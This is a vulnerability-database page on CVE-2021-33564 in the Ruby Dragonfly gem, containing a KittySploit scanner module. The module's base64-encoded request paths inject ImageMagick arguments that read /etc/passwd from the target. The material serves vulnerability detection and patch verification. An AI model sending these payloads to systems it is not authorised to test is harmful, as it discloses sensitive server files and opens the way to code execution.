Ruby Dragonfly <1.4.0 - Remote Code Execution Detection
| Reporter | Title | Published | Views | Family All 29 |
|---|---|---|---|---|
| Exploit for Argument Injection in Dragonfly_Project Dragonfly | 25 May 202102:48 | – | githubexploit | |
| Exploit for Argument Injection in Dragonfly_Project Dragonfly | 27 May 202115:44 | – | githubexploit | |
| CVE-2021-33564 | 29 May 202114:15 | – | attackerkb | |
| dragonfly -- argument injection | 24 May 202100:00 | – | freebsd | |
| CVE-2021-33564 | 28 May 202111:43 | – | circl | |
| Ruby 参数注入漏洞 | 29 May 202100:00 | – | cnnvd | |
| Ruby Parameter Injection Vulnerability | 2 Jun 202100:00 | – | cnvd | |
| CVE-2021-33564 | 29 May 202113:19 | – | cve | |
| CVE-2021-33564 | 29 May 202113:19 | – | cvelist | |
| Dragonfly Ruby Gem File Disclosure | 28 May 202100:00 | – | dsquare |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Ruby Dragonfly before 1."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Ruby Dragonfly <1.4.0 - Remote Code Execution Detection',
'description': 'Ruby Dragonfly before 1.4.0 contains an argument injection vulnerability that allows remote attackers to read and write to arbitrary files via a crafted URL when the verify_url option is disabled. This may lead to code execution. The problem occurs because the generate and process features mishandle use of the ImageMagick convert utility.',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2021', 'rce', 'ruby', 'injection', 'dragonfly_project', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://zxsecurity.co.nz/research/argunment-injection-ruby-dragonfly/',
'https://github.com/markevans/dragonfly/compare/v1.3.0...v1.4.0',
'https://github.com/markevans/dragonfly/commit/25399297bb457f7fcf8e3f91e85945b255b111b5',
'https://github.com/mlr0p/CVE-2021-33564',
'https://nvd.nist.gov/vuln/detail/CVE-2021-33564',
],
'cve': 'CVE-2021-33564',
}
def run(self):
for path in ('/system/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ==', '/system/refinery/images/W1siZyIsICJjb252ZXJ0IiwgIi1zaXplIDF4MSAtZGVwdGggOCBncmF5Oi9ldGMvcGFzc3dkIiwgIm91dCJdXQ=='):
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='critical',
reason="Ruby Dragonfly <1.4.0 - Remote Code Execution detected",
path=path,
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
8.5High risk
Vulners AI Score8.5
CVSS 26.8
CVSS 3.19.8
EPSS0.72143